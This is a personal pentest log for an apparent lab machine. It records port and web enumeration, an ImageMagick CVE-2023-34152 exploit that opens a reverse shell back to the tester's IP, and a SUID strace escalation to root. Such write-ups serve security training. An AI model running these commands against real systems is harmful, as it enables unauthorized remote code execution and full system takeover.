Image
๐งช Pentest Log: {{date:2025-08-10}}
๐ Target Information
- Machine Name: Image
- IP Address: 192.168.187.178
- Operating System: Linux
ip=192.168.187.178
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 22
Port 80
Web Content Enumeration
ImageMagick Identifier Version: 6.9.6-4
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
Google "ImageMagick Identifier Version: 6.9.6-4 exploit", found
https://github.com/SudoIndividual/CVE-2023-34152
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 80
- Vulnerability Type: RCE
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
https://github.com/SudoIndividual/CVE-2023-34152
python3 CVE-2023-34152.py 192.168.45.163 80
penelope -p 80
๐งฌ Privilege Escalation
๐ค Current Access
- User: www-data
- Groups: www-data
- Shell Type: reverse shell
๐ Enumeration
SUID:
find / -type f -perm -4000 2>/dev/null
found
/usr/bin/strace
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: SUID Misconfiguration
- Target Binary/Service: strace
- Reference / Source: GTFOBins
๐ง Exploit Steps
- Smash to root
strace -o /dev/null /bin/sh -p